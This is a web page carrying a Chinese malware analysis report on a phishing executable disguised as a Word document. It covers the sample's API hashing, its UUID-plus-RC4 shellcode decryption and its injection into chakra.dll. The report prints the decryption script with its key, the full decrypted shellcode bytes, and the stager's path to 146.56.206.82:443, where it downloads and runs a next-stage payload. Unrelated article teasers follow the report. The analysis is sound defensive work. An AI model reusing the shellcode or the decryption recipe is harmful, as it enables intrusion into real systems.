当前位置: 首页 > article >正文

某恶意软件样本逆向分析报告

1.概述样本来源微步在线恶意软件名称刘文博-关于北京体彩中心的问题反馈.exesha256c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b642.行为分析该程序图标设为word文档图标实际为exe文件诱骗受害者打开使用了process monitor未发现写入文件行为注册表持久化行为。使用fiddler发现网络行为连接了某IP地址但是已经收不到响应了。3.静态动态分析遍历模块遍历所有模块通过hash值找到目标模块获取其地址。这里的hash值是0xD3C8C75F我们使用hashDB插件分析该值可以得出这里使用了名为djb2_uppercase的算法解密该值代表ntdll.dll。因此得出这部分代码的目的是获得ntdll.dll的地址。函数地址获取获得ntdll.dll模块后接着就是获取该模块中某些函数的地址。可以看到调用了一个函数以模块地址和一个hash值作为参数猜测该函数是用于获取函数地址的接下来分析该函数。可以看到该函数通过对一个模块中所有导出函数的遍历比对目标hash值从而获得目标函数地址。经分析可得这里用的hash算法与前面模块hash的算法相同即djb2_uppercase因此我们可以用相同方式解密得到hash值代表的函数。经分析可得该程序会从ntdll模块中获取如下函数地址NtProtectVirtualMemoryNtWaitForSingleObjectNtCreateThreadExNtQueueApcThreadNtResumeThreadNtCloseNtTerminateThreadRtlExitUserThread接下来程序用相同的方式从kernel32模块中获取了LoadLibraryEx函数地址。函数调用接下来调用函数执行恶意行为。注意到本程序没有直接调用函数而是用了一个间接调用的方法。可以看到本程序会把目标函数的地址写到某个地址处然后跳转到这里执行。而执行函数的参数从伪代码中是看不到的需要从汇编代码中看后续动态分析会详细分析参数。确定shellcode注入点程序先后尝试调用NtCreateThreadEx和NtQueueApcThread方法并把0x1000地址作为随后放置shellcode的起始点。但在实际运行中都失败了最终通过第三条路径注入了shellcode。第三条路径使用了前面相同的遍历方法得到了chakra.dll0x1000的地址准备把shellcode放在这里。利用前面提到的调用方式调用NtProtectVirtualMemory我们需通过汇编代码看传参情况可以看到rdx放入了注入点地址r9放入了4代表将权限改为可读可写。这里调用该函数是将注入点内存权限设为可写准备写入新内容。解密shellcode接下来程序分两步解密了一段硬编码数据并将结果放入了前面提到的注入点位置。我使用大模型分析了这段解密算法并编写了解密脚本提供给大模型解密算法的伪代码和代码中使用的必要的数据程序存储了59个uuid字符串第一步先将字符串解码为944字节的二进制数据然后使用解密算法——标准的RC4算法进行解密得到了最终的shellcode。import uuid def step1_decode(uuids_str): 第一步将 59 个以空字符分隔的 UUID 字符串解码为 944 字节的二进制数据。 遵循 Windows GUID 结构体的内存排布小端序前 3 段 大端序后 2 段。 uuid_list uuids_str.split(\x00) result bytearray() for u_str in uuid_list: if not u_str: continue u uuid.UUID(u_str) result.extend(u.bytes_le) return bytes(result) def step2_decrypt(data): 第二步使用标准的 RC4 算法对数据进行解密。 感谢栈变量提示v146[v8213] 实际上是越界访问了紧随其后的 v147 所以所有的交换操作都是在 v147 (即 S-box) 内部进行的。 if len(data) 940: raise ValueError(数据长度必须至少为 940 字节) # 初始化 S-box S list(range(256)) # 自定义密钥数据 K [0x53, 0x7D, 0xB8, 0xF9, 0xD9, 0x6A, 0x64, 0x1E, 0xCD, 0x98, 0x3F, 0x3D, 0x20, 0x3A, 0x19, 0x50] # ---- 标准 RC4 KSA 密钥调度 ---- j 0 for i in range(256): j (j S[i] K[i % 16]) 0xFF S[i], S[j] S[j], S[i] # ---- 标准 RC4 PRGA 伪随机生成 ---- data bytearray(data) i 0 j 0 # 循环 940 次进行异或解密 for out_idx in range(940): i (i 1) 0xFF j (j S[i]) 0xFF S[i], S[j] S[j], S[i] k S[(S[i] S[j]) 0xFF] data[out_idx] ^ k return bytes(data) # 使用示例 if __name__ __main__: # 读取你提供的 aF8dbae6eEb3577.txt 中的字符串 uuid_str f8dbae6e-eb35-77f6-a625-1f5d9f3beac0\x00b844265c-8b6e-dbe8-817d-24d3bf6f9edb\x00d5169886-35f3-9db2-3672-638fe58b5e07\x004c9b311b-397b-0d13-410d-59807e7ccbc8\x007d7fc87b-1dce-2755-e855-69a4af7af278\x00759752f2-1680-1e32-30f8-b8a61b0daeb5\x00b49b4b36-44dc-adfe-7d7b-8b3cf5fa9e06\x00e5994c48-4a71-9e1a-1b4f-5bd5f5103df7\x009c80c83f-c1ec-aab9-69e2-e426e9e9a96c\x0055676d0f-5b24-2a52-2a3d-e2a1231c1092\x00c7e793c7-52f1-e713-93f0-34b4450ea76b\x009eec3f2f-d33d-9417-f64b-17012047d09b\x0026ee0b15-3a0d-5cbd-a176-93bc511f9da0\x00965c4a57-4ba2-d496-c573-aba79b7d4b1a\x008900e024-cc0e-8cf8-f851-202278261659\x008eec7e82-694f-f499-c3c8-a39357998d83\x001124ab6d-4a03-4aad-fb5c-05174377b862\x00920c6beb-6bc3-457d-2742-fb77e9c51a01\x003c0ffbf1-9b41-7134-d879-800644352944\x002d8d60eb-b515-25a4-ee60-9d3009ec5bdc\x004f5a5828-35ba-20cd-ccc7-bfa558ff4d85\x00fddc8855-d36a-5f2b-6ccf-8ecb9e0b662b\x00f3fe1b02-2b93-f32d-1dd7-b0a970d8e04a\x002419f686-465f-f8b1-759d-37b6cfd92d8c\x00d393a542-2c92-2c1a-3e51-bbad82847c1f\x0075e1d541-c550-55cd-a675-bc0345c9d5d3\x002e0a1e96-c963-fa19-ef7c-f6e233e6eff2\x0046ea6705-5eb9-067d-f921-bd2626e298f6\x00105ef4cb-71cc-2dd8-c7e7-8e49ff2d900a\x00c9a83925-a382-855c-b20d-31bbbc9e4432\x0053dc8659-b467-9e7a-eaa9-021f1d7a3227\x0016821506-3b95-dcb5-6e1c-a676a40fd921\x00bd1fd992-b25b-de26-ba97-c5aeeb32e18a\x00afe769f7-8221-3592-893e-790dbc56015e\x00635e0112-b18a-6b30-de62-a48009530b5b\x0032d688c1-ee45-9821-d1e3-48148d0a4f5e\x007062fe4d-cce1-8a01-d521-6bfe7f21c730\x005acbd652-9730-27e5-6407-f3dded721526\x0054d17388-207a-1ec8-4bf1-fcac848d42ef\x00163440eb-4da7-5498-faf7-b23af3d08083\x00826d4599-0e94-ce58-3efb-56becdd94ad2\x00be585980-eff6-6de9-6909-84c0bea73c3c\x009c846b5c-297c-d878-a1df-0cd48ac5b227\x0048504bd7-50e1-2063-79a2-3aa5d4790c7e\x0094ad37e1-7691-5ab4-4acf-2989c930673d\x00aa184a26-1518-1b04-c522-3b490e57a457\x00528a8d63-37ca-4d7f-ab0c-038b3b08359b\x00131da6be-fa10-3c3f-f2db-0c33d674f19d\x0021902679-5424-3adb-e459-1601e6b9a812\x00bb24819b-5d91-8e27-1d8c-85b0461f8396\x00251e2350-6eb2-7565-aab6-15c51e6f3441\x00ec10761e-70f4-3391-9c11-6de4d62889a4\x003e338b69-32cc-3363-040a-e02f979be1ed\x00c02cb8de-ec18-0296-fbdd-3991048f437b\x00efe29aa6-6cc8-ca52-0949-4d86a8953c6e\x00aa1fa7e3-e333-db0c-eda5-5f9988519070\x00ce25b3c6-e4f5-e562-3bbc-3ed19c7d08e7\x0067c3d188-8d8f-4e3f-e779-2b4a2f850b76\x002ff2bfce-ca7b-4a09-d5f8-cf8d90909090 # 此处省略完整串替换为你实际的完整输入 # 1. 执行第一步 binary_data step1_decode(uuid_str) print(fStep1 解码完成数据长度: {len(binary_data)} bytes) # 2. 执行第二步 decrypted_data step2_decrypt(binary_data) print(fStep2 解密完成有效数据前 20 字节: {decrypted_data[:20].hex()})两步骤分别得到的数据如下6E AE DB F8 35 EB F6 77 A6 25 1F 5D 9F 3B EA C0 5C 26 44 B8 6E 8B E8 DB 81 7D 24 D3 BF 6F 9E DB 86 98 16 D5 F3 35 B2 9D 36 72 63 8F E5 8B 5E 07 1B 31 9B 4C 7B 39 13 0D 41 0D 59 80 7E 7C CB C8 7B C8 7F 7D CE 1D 55 27 E8 55 69 A4 AF 7A F2 78 F2 52 97 75 80 16 32 1E 30 F8 B8 A6 1B 0D AE B5 36 4B 9B B4 DC 44 FE AD 7D 7B 8B 3C F5 FA 9E 06 48 4C 99 E5 71 4A 1A 9E 1B 4F 5B D5 F5 10 3D F7 3F C8 80 9C EC C1 B9 AA 69 E2 E4 26 E9 E9 A9 6C 0F 6D 67 55 24 5B 52 2A 2A 3D E2 A1 23 1C 10 92 C7 93 E7 C7 F1 52 13 E7 93 F0 34 B4 45 0E A7 6B 2F 3F EC 9E 3D D3 17 94 F6 4B 17 01 20 47 D0 9B 15 0B EE 26 0D 3A BD 5C A1 76 93 BC 51 1F 9D A0 57 4A 5C 96 A2 4B 96 D4 C5 73 AB A7 9B 7D 4B 1A 24 E0 00 89 0E CC F8 8C F8 51 20 22 78 26 16 59 82 7E EC 8E 4F 69 99 F4 C3 C8 A3 93 57 99 8D 83 6D AB 24 11 03 4A AD 4A FB 5C 05 17 43 77 B8 62 EB 6B 0C 92 C3 6B 7D 45 27 42 FB 77 E9 C5 1A 01 F1 FB 0F 3C 41 9B 34 71 D8 79 80 06 44 35 29 44 EB 60 8D 2D 15 B5 A4 25 EE 60 9D 30 09 EC 5B DC 28 58 5A 4F BA 35 CD 20 CC C7 BF A5 58 FF 4D 85 55 88 DC FD 6A D3 2B 5F 6C CF 8E CB 9E 0B 66 2B 02 1B FE F3 93 2B 2D F3 1D D7 B0 A9 70 D8 E0 4A 86 F6 19 24 5F 46 B1 F8 75 9D 37 B6 CF D9 2D 8C 42 A5 93 D3 92 2C 1A 2C 3E 51 BB AD 82 84 7C 1F 41 D5 E1 75 50 C5 CD 55 A6 75 BC 03 45 C9 D5 D3 96 1E 0A 2E 63 C9 19 FA EF 7C F6 E2 33 E6 EF F2 05 67 EA 46 B9 5E 7D 06 F9 21 BD 26 26 E2 98 F6 CB F4 5E 10 CC 71 D8 2D C7 E7 8E 49 FF 2D 90 0A 25 39 A8 C9 82 A3 5C 85 B2 0D 31 BB BC 9E 44 32 59 86 DC 53 67 B4 7A 9E EA A9 02 1F 1D 7A 32 27 06 15 82 16 95 3B B5 DC 6E 1C A6 76 A4 0F D9 21 92 D9 1F BD 5B B2 26 DE BA 97 C5 AE EB 32 E1 8A F7 69 E7 AF 21 82 92 35 89 3E 79 0D BC 56 01 5E 12 01 5E 63 8A B1 30 6B DE 62 A4 80 09 53 0B 5B C1 88 D6 32 45 EE 21 98 D1 E3 48 14 8D 0A 4F 5E 4D FE 62 70 E1 CC 01 8A D5 21 6B FE 7F 21 C7 30 52 D6 CB 5A 30 97 E5 27 64 07 F3 DD ED 72 15 26 88 73 D1 54 7A 20 C8 1E 4B F1 FC AC 84 8D 42 EF EB 40 34 16 A7 4D 98 54 FA F7 B2 3A F3 D0 80 83 99 45 6D 82 94 0E 58 CE 3E FB 56 BE CD D9 4A D2 80 59 58 BE F6 EF E9 6D 69 09 84 C0 BE A7 3C 3C 5C 6B 84 9C 7C 29 78 D8 A1 DF 0C D4 8A C5 B2 27 D7 4B 50 48 E1 50 63 20 79 A2 3A A5 D4 79 0C 7E E1 37 AD 94 91 76 B4 5A 4A CF 29 89 C9 30 67 3D 26 4A 18 AA 18 15 04 1B C5 22 3B 49 0E 57 A4 57 63 8D 8A 52 CA 37 7F 4D AB 0C 03 8B 3B 08 35 9B BE A6 1D 13 10 FA 3F 3C F2 DB 0C 33 D6 74 F1 9D 79 26 90 21 24 54 DB 3A E4 59 16 01 E6 B9 A8 12 9B 81 24 BB 91 5D 27 8E 1D 8C 85 B0 46 1F 83 96 50 23 1E 25 B2 6E 65 75 AA B6 15 C5 1E 6F 34 41 1E 76 10 EC F4 70 91 33 9C 11 6D E4 D6 28 89 A4 69 8B 33 3E CC 32 63 33 04 0A E0 2F 97 9B E1 ED DE B8 2C C0 18 EC 96 02 FB DD 39 91 04 8F 43 7B A6 9A E2 EF C8 6C 52 CA 09 49 4D 86 A8 95 3C 6E E3 A7 1F AA 33 E3 0C DB ED A5 5F 99 88 51 90 70 C6 B3 25 CE F5 E4 62 E5 3B BC 3E D1 9C 7D 08 E7 88 D1 C3 67 8F 8D 3F 4E E7 79 2B 4A 2F 85 0B 76 CE BF F2 2F 7B CA 09 4A D5 F8 CF 8D 90 90 90 90 FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED 52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02 75 72 8B 80 88 00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4F FF FF FF 5D 6A 00 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 FF D5 48 31 C9 48 31 D2 4D 31 C0 4D 31 C9 41 50 41 50 41 BA 3A 56 79 A7 FF D5 E9 9D 00 00 00 5A 48 89 C1 41 B8 BB 01 00 00 4D 31 C9 41 51 41 51 6A 03 41 51 41 BA 57 89 9F C6 FF D5 E9 80 00 00 00 5B 48 89 C1 48 31 D2 49 89 D8 4D 31 C9 52 68 00 32 C0 84 52 52 41 BA EB 55 2E 3B FF D5 48 89 C6 48 83 C3 50 6A 0A 5F 48 89 F1 BA 1F 00 00 00 6A 00 68 80 33 00 00 49 89 E0 41 B9 04 00 00 00 41 BA EC 72 CA 9D 49 81 F2 99 34 54 1B FF D5 48 89 F1 48 89 DA 49 C7 C0 FF FF FF FF 4D 31 C9 52 52 41 BA 2D 06 18 7B FF D5 85 C0 0F 85 9D 01 00 00 48 FF CF 0F 84 8C 01 00 00 EB AC E9 EB 01 00 00 E8 7B FF FF FF 2F 72 65 73 2F 6A 73 2F 6A 71 75 65 72 79 2D 33 2E 36 2E 32 2E 73 6C 69 6D 2E 6D 69 6E 2E 6A 73 00 3E FE A5 4A 98 0A FB 6B 5A 8B 50 2A 77 57 67 D0 AA A2 4C CA 9B 06 BF 43 08 F3 8A 73 3A A2 82 56 EB 72 A1 FB D4 61 85 2A 33 1F F5 F3 77 C2 00 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 61 6E 67 75 61 67 65 3A 20 64 65 2D 44 45 2C 20 65 6E 2D 43 41 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 35 2E 30 29 0D 0A 00 6E 36 F2 13 1E 60 33 20 C8 55 6E 06 D8 39 0B 10 C4 79 2A 63 82 E4 7A 4F 74 BC 7B 76 53 E9 C5 3A 7D 03 6D DD 34 DD 28 4F 07 8D 74 CB B5 2C BF 85 6C 08 44 0A 32 14 4A 77 43 63 CC CB E7 66 29 6C 57 3D 1C AE 95 E8 EA 6F D0 F0 B8 31 B3 E5 93 1C 55 9F 4E 66 4F 40 69 BF A0 3F 6C 2A 5F E5 46 C8 2E 7B EB B8 16 31 4A D6 AC C8 4C 55 76 C0 C9 AD 45 96 1B DE 24 5E 00 42 36 42 C6 0E 4A 72 C0 C6 3C 2E 60 92 77 81 6B 1E 42 0B EE C4 86 61 5A 15 A9 21 D8 B4 EC EB CE C5 42 59 47 89 37 DD 29 49 BF 8B 96 F3 37 B1 30 F7 C9 D5 18 2D D1 FD 6A 5B 0E 7D 54 07 00 41 BE F0 B5 A2 56 FF D5 48 31 C9 BA 00 00 40 00 41 B8 00 10 00 00 41 B9 40 00 00 00 41 BA 50 F0 07 F3 49 81 F2 08 54 54 16 FF D5 48 93 53 53 48 89 E7 48 89 F1 48 89 DA 41 B8 00 20 00 00 49 89 F9 41 BA 12 96 89 E2 FF D5 48 83 C4 20 85 C0 74 AF 66 8B 07 48 01 C3 85 C0 75 D7 58 58 58 48 05 00 00 00 00 50 C3 E8 6E FD FF FF 31 34 36 2E 35 36 2E 32 30 36 2E 38 32 00 90 90 90 90小插曲最初大模型编写的脚本并不能得到正确结果我查看大模型分析过程发现提到了变量v146的处理出现了问题我查看发现v146的赋值来自命令strcpy(v146, chakra.dll)但是解密过程中出现了形如v85 v146[v82 13];这样的命令超出了v146的长度对此大模型的处理是默认为0。对此我使用x64dbg进行动态调试发现解密时在栈中v146的下面放入了大量数据解密时用到的就是这些数据经过调试发现这部分数据其实是伪代码中的v147也就是解密时用到的其实是v147。其实直接在ida中观察栈视图stack of main也可以发现这两个变量在栈中是相邻的超出v146的长度其实就是在访问v147.我把这一情况描述给了大模型大模型便发现这其实就是一个标准的RC4算法然后就纠正得到了正确的脚本。执行shellcode这里调用NtProtectVirtualMemory函数将存放shellcode的区域改为可执行权限然后便跳转到注入点执行shellcode。Shellcode分析我们将前面解密得到的二进制数据dump下来用IDA打开就能看到shellcode代码了简单看了一下发现跳转很多很乱最后我选择用x64dbg动态调试分析了这段shellcode。动态调试执行基址00007FF67E0F0000我们从这里步进观察shellcode的执行。程序先来到这里74656E696E6977h是字符串“wininet”然后把hash值726774Ch放入寄存器。随后会遍历各个模块首先取出的就是exe文件本身计算该模块的hash值这里和前面不一样用的是ROR13算法对模块进行一些基本的检查后来到模块的导出表准备遍历函数遍历函数计算函数名的hash值这里同样使用ROR13算法和r10寄存器中的726774Ch比较也就是要找到hash值为726774Ch的函数本模块所有导出函数遍历完没有找到目标会跳转至此随后会再跳转到前面提到的取模块处获取下一个模块然后重复上述遍历函数的过程。最后成功找到目标函数发现是kernel32模块的LoadLibraryA函数。随后找到该函数地址并把该函数地址放入rax设置好参数注意push r10这句指令把r10数据压栈作为目标函数执行完成后的返回地址然后jmp rax执行函数。这里执行该函数加载了wininet.dll模块。接下来会重复上述的过程来寻找函数执行。第二次执行了InternetOpenA函数。第三次执行InternetConnectA连接146.56.206.82的443端口第四次执行HttpOpenRequestA其中参数指向了/res/js/jquery-3.6.2.slim.min.js第五次寻找目标函数时对目标hash又做了一层异或加密这里和前面不一样。第五次执行了InternetSetOptionA第六次执行了HttpSendRequestA发送请求。若失败会重复几次执行InternetSetOptionA和HttpSendRequestA超过次数限制后会结束程序。而成功后会第七次寻找并执行函数VirtualAlloc申请一块内存。第八次执行InternetReadfileA读取响应的内容存入申请的地址。随后会跳转到该地址执行。由于无法真正获得响应分析到此为止。IOC TTPIOCsha256c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64IP地址146.56.206.82TTPTA0001 初始访问①T1566 网络钓鱼将可执行文件伪装成Word文档图标诱骗受害者打开。TA0002 执行①T1204.002 用户执行.恶意文件受害者主动运行该伪装exe触发恶意代码。②T1106 原生API程序通过hash遍历获取并调用了底层APINtCreateThreadEx,NtQueueApcThread,NtResumeThread,NtProtectVirtualMemory等。TA0005 防御规避①T1036 伪装图标设为word文档图标实际为exe。②T1027.007 混淆文件和信息.动态解析API通过遍历模块和导出函数使用hash值动态获取ntdll.dll和kernel32.dll中的函数地址而非在导入表中显式声明。③T1027.010 混淆文件和信息.命令混淆硬编码数据分两步解密先将59个UUID字符串解码再使用标准RC4算法解密出最终的Shellcode。④T1620 反射式代码加载在内存中解密shellcode并直接执行不落地磁盘配合无文件行为。TA0011 命令与控制①T1071.001 应用层协议.Web协议依次调用InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA等函数建立HTTP/HTTPS连接。②T1105 入口工具传输调用VirtualAlloc申请内存通过InternetReadFile从响应中读取下一阶段载荷并执行实现载荷下发攻击链网络钓鱼诱惑受害者→ 用户执行恶意exe→ 动态解析ntdll/kernel32关键API → 解密内置shellcodeUUIDRC4→ 反射式加载shellcode → shellcode调用WinINet组建HTTPS C2通信 → 下载并执行下一阶段载荷

相关文章:

某恶意软件样本逆向分析报告

1.概述样本来源:微步在线恶意软件名称:刘文博-关于北京体彩中心的问题反馈.exesha256:c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b642.行为分析该程序图标设为word文档图标,实际为exe文件,诱骗受…...

告别爬虫:使用trendsmcp API稳定获取多平台趋势数据

1. 项目概述:告别爬虫,拥抱稳定的趋势数据API如果你曾经尝试过用Python抓取Google Trends、新闻提及量或者社交媒体趋势数据,那你一定对“429 Too Many Requests”这个错误代码深恶痛绝。半夜两点,数据管道突然中断,你…...

OpenClaw CLI:在终端无缝集成AI智能体的MCP服务器部署指南

1. 项目概述:OpenClaw CLI,一个连接终端与智能体的桥梁 如果你和我一样,日常开发工作大部分时间都泡在终端里,同时又对AI智能体(Agent)的自动化能力垂涎三尺,那么你肯定也遇到过这样的痛点&…...

基于MCP协议的AI自动化Solana代币发行与资产管理实战

1. 项目概述:当AI助手成为你的Solana发币合伙人 如果你在Solana生态里折腾过,肯定知道发一个币有多麻烦。从构思名字、设计代币经济学、写合约、到部署、创建流动性池、再到上DEX工具(比如Dexscreener)做推广,每一步都…...

Java——Character

Character1、Unicode基础2、检查code point和char3、code point与char的转换4、按code point处理char数组或序列5、字符属性6、字符转换1、Unicode基础 Unicode给世界上每个字符分配了一个编号,编号范围为0x000000~0x10FFFF。编号范围在0x0000&#xff…...

IntelliNode:统一AI模型调用,加速Node.js智能应用开发

1. 项目概述:从IntelliNode到智能应用开发的新范式最近在开源社区里,一个名为“IntelliNode”的项目引起了我的注意,更具体地说,是它的核心库intelligentnode/Intelli。乍一看这个名字,你可能会联想到“智能节点”&…...

从图文到视频:用 Python 打造公众号文章自动化转视频号的爆款流水线

摘要:本文详解一套完全基于开源工具(Python + edge-tts + ffmpeg)的自动化系统,可将任意微信公众号文章一键转换为横屏/竖屏视频,直接用于视频号分发。全程无需剪辑软件、无需出镜、无需复杂配置,5 分钟部署,1 条命令生成专业级视频。 🔥 为什么你需要这个? 在 AIGC…...

3步终极指南:用开源TCC-G15彻底解决Dell G15散热难题

3步终极指南:用开源TCC-G15彻底解决Dell G15散热难题 【免费下载链接】tcc-g15 Thermal Control Center for Dell G15 - open source alternative to AWCC 项目地址: https://gitcode.com/gh_mirrors/tc/tcc-g15 你是否正在为Dell G15笔记本的过热问题而烦恼…...

SIGTRAN协议:电信网络IP化的关键技术解析

1. SIGTRAN:下一代电信网络的信令传输基石2003年全球电信业寒冬中,一个技术决策正在悄然改变行业格局。当运营商们紧缩资本开支时,AT&T、Verizon等巨头却不约而同地加大了对IP网络的投入。这背后隐藏着一个关键技术转折——传统TDM网络向…...

大厂光环褪去后,技术人该如何评估一份工作的价值?

当“进入大厂”不再是职业发展的唯一解,当“稳定”成为一种奢求,软件测试从业者需要一套更内核的价值评估体系。这套体系不应依赖于公司的名头或短期的薪资涨幅,而应聚焦于那些能够被你带走、并持续产生复利的核心资产。我们可以从以下四个维…...

别再只跟 AI 聊天了,教它干活才是正经事

摘要大模型只会聊天?那你可能用错了方式。函数调用让 AI 从"说"变成"做",能真正执行任务。本文分享我搭建 AI Agent 的实战经验,包括工具设计、参数校验、错误处理等核心环节,帮你避开那些我踩过的坑。开篇引…...

从UHS-II到DDR4:2014年存储技术演进与工程实践启示

1. 项目概述:一次2014年秋的存储技术快照九月的风刚带起一丝凉意,存储半导体领域却热闹非凡。作为一名长期跟踪硬件发展的从业者,我习惯定期梳理行业动态,而2014年9月这份来自EE Times的“Memory Product Round Up”产品汇总&…...

半导体产业3000亿美元背后的冷思考:成本高墙、利润悖论与创新挑战

1. 行业现状:跨越3000亿美元门槛后的冷思考 又到了一年一度回顾过去、展望未来的时刻。对于我们这些在半导体行业摸爬滚打了十几年甚至几十年的老工程师来说,每年的这个时候心情总是复杂的。今年有个标志性的消息:全球半导体产业营收终于再次…...

FPGA LVDS输入作为模拟比较器的原理、设计与工程实践

1. 项目概述:当LVDS输入遇上模拟电压 最近几年,各大FPGA厂商都在力推自家的“模拟-数字转换器(ADC)IP核”,宣传其如何集成便利、性能优越。这让我这个老工程师不禁琢磨,这些IP核的底层原理究竟是什么&#…...

工程师实战指南:从原理到选型,全面解析电池核心技术参数与应用

1. 项目概述:为什么我们需要重新认识电池?干了三十多年电气工程,从数字电路、模拟信号到电源设计、通信协议和微控制器,我几乎把电子行业的各个角落都摸了一遍。现在我在一家叫MaxVision的公司,专门搞那种性能极端、皮…...

数字时代的计划性抹杀:从强制升级到生态锁定的技术围剿

1. 数字时代的“计划性报废”:从凯迪拉克到小电驴的隐喻 前几天,我在网上申请一张信用卡,过程堪称一场荒诞剧。银行明明通过邮件联系我,也知道我的账号密码,甚至在我通过了“我不是机器人”的图片验证后,却…...

超高清电视普及困境解析:从技术参数到生态系统的完整思考

1. 超高清电视的“非主流”开局:一场始于2013年的行业迷思 如果你在2013年初的拉斯维加斯CES展上,听到关于“Ultra HDTV”(超高清电视,后文简称UHDTV)的喧嚣,感觉就像身处一场盛大的交响乐彩排现场——乐手…...

5分钟掌握FanControl:Windows风扇控制的终极免费解决方案

5分钟掌握FanControl:Windows风扇控制的终极免费解决方案 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending…...

内向技术人突破领导力瓶颈:从深度思考到战略沟通的进阶指南

1. 项目概述:内向工程师的“天花板”与破局之路 在技术圈子里待久了,你会发现一个有趣的现象:身边那些能写出精妙算法、搞定复杂架构的工程师,往往在茶水间的闲聊中显得沉默寡言,在大型会议上也更倾向于坐在后排。这并…...

Keep架构深度解析:企业级AIOps告警管理平台的设计与实践

Keep架构深度解析:企业级AIOps告警管理平台的设计与实践 【免费下载链接】keep The open-source AIOps and alert management platform 项目地址: https://gitcode.com/GitHub_Trending/kee/keep Keep作为开源AIOps告警管理平台,采用现代化的微服…...

CANdela Studio配置避坑指南:从10服务到Data Type,这些细节别踩雷

CANdela Studio配置避坑指南:从10服务到Data Type,这些细节别踩雷 在汽车电子诊断功能开发中,CANdela Studio作为诊断数据库(CDD)的核心编辑工具,其配置精度直接影响着诊断协议栈的生成质量。许多工程师能够完成基础配置&#xff…...

iOSDeviceSupport终极指南:如何快速解决Xcode设备支持文件缺失问题

iOSDeviceSupport终极指南:如何快速解决Xcode设备支持文件缺失问题 【免费下载链接】iOSDeviceSupport All versions of iOS Device Support 项目地址: https://gitcode.com/gh_mirrors/ios/iOSDeviceSupport 你是否曾经在iOS开发中遇到过这样的困扰&#xf…...

51单片机项目进阶:给电子秤加上JQ8400语音播报,一线串口控制到底有多方便?

51单片机电子秤语音播报模块深度实战:从JQ8400-FL选型到一线串口控制全解析 当你已经完成基础电子秤项目,能够准确显示重量并计算价格时,如何让这个设备"会说话"?语音交互功能的加入不仅能提升用户体验,更能…...

Antigravity AI 助手“装死”?一招解决 Git 配置引发的无响应崩溃

我们在使用 Antigravity AI IDE 进行开发时,有时会遇到一个令人头疼的现象:在对话框输入任何 Prompt 后,AI 助手仿佛“装死”一般毫无反应。没有生成提示,也没有错误弹窗,即使重启 IDE 或清理对话历史也无济于事。这不…...

Super IO插件终极指南:5分钟掌握Blender文件处理革命

Super IO插件终极指南:5分钟掌握Blender文件处理革命 【免费下载链接】super_io blender addon for copy paste import / export 项目地址: https://gitcode.com/gh_mirrors/su/super_io Super IO是一款彻底改变Blender工作流程的革命性插件,它通…...

从B站视频到跑通代码:手把手复现大疆C板控制M2006电机的完整流程(STM32CubeMX + C610电调)

大疆C板驱动M2006电机全流程解析:从CubeMX配置到CAN通信实战 第一次拿到大疆RoboMaster C板时,看着官方文档和一堆外设确实有点无从下手。特别是当需要控制M2006这种高性能电机时,文档中的信息分散在不同章节,而社区里的完整教程又…...

2026论文降AI实战SOP:保留排版格式,8款工具与结构级优化指南

内容ai率检测数值太高,不得不熬夜改了一遍又一遍,润色到想吐,结果检测报告上数字还是不尽人意,截止日期越逼越近,真的是没办法了。 我花了整整三天,把2026全网热门的几十款降AI工具通通测了个遍&#xff0…...

【2026实测】论文AI率从81%降至个位数?8款降AIGC工具深度横测

内容ai率检测数值太高,不得不熬夜改了一遍又一遍,润色到想吐,结果检测报告上数字还是不尽人意,截止日期越逼越近,真的是没办法了。 我花了整整三天,把2026全网热门的几十款降AI工具通通测了个遍&#xff0…...

FPGA边缘视觉方案解析:从芯片选型到多传感器融合实战

1. 项目概述:单芯片FPGA嵌入式视觉与融合分析方案 最近在梳理一些老项目的技术文档时,翻到了Altera(现在已是Intel PSG的一部分)和Eutecus在2015年左右合作推出的一套方案,当时在EE Times上被称作“Single-Chip FPGA-B…...

从怀疑到信服:VR如何从娱乐玩具进化为现实增强工具

1. 从怀疑到信服:一个技术怀疑论者的VR认知重塑之旅我不是那种会第一时间冲进苹果店排队买最新款手机的人,甚至可以说,我对新科技抱有一种近乎“卢德主义”的警惕。每当有新的技术浪潮涌来,我的第一反应不是兴奋,而是审…...